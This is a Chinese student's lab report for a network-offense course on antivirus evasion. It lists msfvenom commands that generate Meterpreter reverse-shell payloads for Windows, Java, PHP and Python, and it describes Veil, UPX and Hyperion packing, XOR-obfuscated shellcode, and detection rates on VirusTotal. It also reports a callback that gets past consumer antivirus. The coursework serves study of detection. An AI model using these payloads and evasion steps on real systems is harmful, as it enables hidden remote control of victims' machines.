2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165211
2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165211
1. 基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
启发式恶意软件检测
简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点:
- 可以检测0-day恶意软件
- 具有一定通用性
缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
免杀就是让安插的后门不被AV软件发现。
(3)免杀的基本方法有哪些?
改变特征码
- 只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 只有EXE
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
2. 实践过程记录
本次实验主要使用的检测工具
1.正确使用msf编码器
kali的ip地址:192.168.78.128
使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.78.128 LPORT=5211 -f exe > akashi1.exe
生成最基本的可执行文件
上传至VirusTotal :结果为51/71
使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe
进行多次编码,并检验结果,如下
上传至VirusTotal :结果为50/70
由上可见,进行多次编码的方式并不能达到免杀的目的。
2. msfvenom生成如jar之类的其他文件
(1) 生成jar文件
使用命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.78.129 lport=5211 x> akashi_jar.jar
上传至VirusTotal :结果为34/60
将此文件放到主机(win10+Windows Defender+电脑管家)无报毒。
(2)生成php文件
使用命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.78.129 lport=5211 x> akashi_php.php
上传至VirusTotal :结果为3/58
将此文件放到主机(win10+Windows Defender+电脑管家)无报毒。
(3)生成Python文件
使用命令
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.78.129 LPORT=5211 -f raw > akashi_python.py
上传至VirusTotal :结果为14/55
3. veil-evasion
使用veil生成木马程序
期间需要选择Payload Module,并设置LHOST和LPORT
- 生成文件后,到目标目录寻找文件。
- 上传至VirusTotal :结果为37/68
- 放到电脑中,被电脑管家查杀……
4. 加壳工具
对我们刚刚生成的软件进行加壳处理吧
压缩壳UPX
- 对刚刚的Akashi_Veil.exe用UPX加壳,生成Akashi_Veil_UPX.exe
- 上传至VirusTotal :结果为37/70
加密壳Hyperion
- 如下所示,进入指定目录后进行操作
- 上传至VirusTotal :结果为44/68
总的来说,使用加壳软件,似乎并不能得到很好地免杀效果。这些加壳软件中包含的特征信息,有时候反而会增加杀毒软件识别的可能性。
5. 使用shellcode编程
- 使用命令
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.78.129 LPORT=5211 -f c
生成一个shellcode。
创建文件
Akashi_Shellcode.c
,将第一步得到的shellcode编入其中我所看的资料要求使用
i686-w64-mingw32-g++ Akashi_Shellcode.c -o Akashi_Shellcode.exe
编译,可生成可执行文件。命令也可执行,但是在尝试回连时一直显示失败????(令人头秃了………………要一个回连不了的文件有何用啊???
尝试将文件放在主机环境中编译,用CB编译后运行……查看结果,OK~可以!
- 将文件上传至VirusTotal :结果为23/68
- 却发现,我的电脑管家对他毫无反应,似乎已经实现了腾讯电脑管家的免杀??是电脑管家太废了吧……
看了一下VirusTotal 的结果,果然……Tencent显示clean……认真考虑要不要换一个杀毒软件……
6. 通过组合应用各种技术实现恶意代码免杀
第五步莫名其妙实现了自己电脑的免杀……尝试一下降低Virscan和VirusTotal扫描出来的数量吧
1. 尝试加壳
- 将文件上传至VirusTotal :结果为26/68
- 主机电脑管家未查杀
就结果而言,反而是增加了,大概是加了壳之后,反而给了更多的特征吧,让杀软更容易检测出来。
2. 尝试对shellcode进行简单处理
这里想到的方法,有对Shellcode进行异或处理,或是对其进行加密后解密
主要尝试异或处理,将Shellcode与一固定字符串进行异或后存储,在程序中在进行一次异或,即可还原。
- 将文件上传至VirusTotal :结果为20/70
- 可以看到这样的效果的确是有所改善的啦,回连也是成功的!
- 按这个思路,再对文件进行一些操作,应该是可以得到更好的结果的。
7. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
Kali使用桥接模式,并在使用前测试与目标主机能否ping通。
以下是回连成功的截图。
电脑版本为 win7+360杀毒软件
3. 实践总结与体会
在本次实验中,主要探索了免杀的实现。
实验的主要曲折,应该就是安装Veil了,中途经历了各种问题,大概是之前安装kali的过程过于顺利,感觉这一次把所有可能的棘手问题都碰到了。虚拟机网络连接有问题,虚拟网络适配器被删除,kali源连接不上,找不到命令。前后倒腾,甚至差点要重新安装一遍VMware。
在进行实验的时候,竟然发现在实验未完成的情况下,竟然已经完成了免杀。郑重的考虑换一个杀毒软件。
发现实现一个免杀的恶意代码,并没有想象中那么难,在网络安全方面还是有很多需要注意的地方啊。
4. 开启杀软能绝对防止电脑中恶意代码吗?
并不能,在本次实验中,我们主要要实现的就是在杀软开启的情况下,实现恶意代码,掌握主机的控制权。在本次试验中,仅仅靠shellcode半手工竟然就可以实现腾讯的免杀,更不用提更多进过黑客们精心构造的恶意代码。目前杀软的主要检测方式,主要还是基于特征码,依赖于他们的数据库源,面对一些新的恶意代码,防护的能力还是很差的。
2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165211的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- 使用openbabel进行小分子底物构象搜索
使用open babel产生小分子多重构象的方法有两种: 1. 使用遗传算法(Genetic algorithm)进行构象搜索,属于系统式搜索最低能量构象的方法 obabel -L conformer ...
- django模型(增删改查等)
Django提供的模型操作起来数据库非常方便 以自定义模型名字Demo为例: 获取所有数据:all() demo.objects.all() #返回queryset对象 #这个语句和Select * ...
- Mysql自增ID起始值修改
在mysql中很多朋友都认为字段为AUTO_INCREMENT类型自增ID值是无法修改,其实这样理解是错误的,下面介绍mysql自增ID的起始值修改与设置方法.通常的设置自增字段的方法:创建表格时添加 ...
- 004-全局应用程序类Global.asax
服务器对象:Request.Response.Server.Session.Application.Cookie //功能1:为服务器对象注册Start.End处理 protected void Ap ...
- CentOS双机中Docker下安装Mysql并配置互为主从模式
CentOS双机中Docker下安装Mysql并配置互为主从模式 目录 1.搜索镜像... 1 2.拉取镜像... 1 3.绑定端口: 1 4.配置文件(修改/etc/mysql/my.cnf文件): ...
- 假如java类里的成员变量是自身的对象
假如java类里的成员变量是自身的对象,则新建该类对象时内存中怎么分配空间,我感觉似乎死循环了. 不过我想的肯定是错的,因为很多类的成员变量是自身对象,并且绝对无错,举个例子: Class A{ pr ...
- SlimScroll插件学习
SlimScroll插件学习 SlimScroll插件,是一个很好用的滚动条插件. 第一个实例程序: js代码: <script src="../slimScroll/jquery-3 ...
- XMLHttpRequest对象(Ajax)的状态码(readystate) HTTP状态代码(status)
2018-11-28 14:19:00 来自 :XMLHttpRequest对象(Ajax)的状态码(readystate) HTTP状态代码(status) XMLHttpRequest对象(Aj ...
- 20165215 2017-2018-2 《Java程序设计》第八周学习总结
20165215 2017-2018-2 <Java程序设计>第八周学习总结 教材学习内容总结 进程与线程 进程是程序的一次动态执行过程,它对应了从代码加载.执行至执行完毕的一个完整过程. ...
- android TextView Unicde编码转换 android中一些特殊字符Unicode码值
android TextView Unicde编码转换 android中一些特殊字符Unicode码值 android中一些特殊字符(如:←↑→↓等箭头符号,约等于号≍)的Unicode码值 Text ...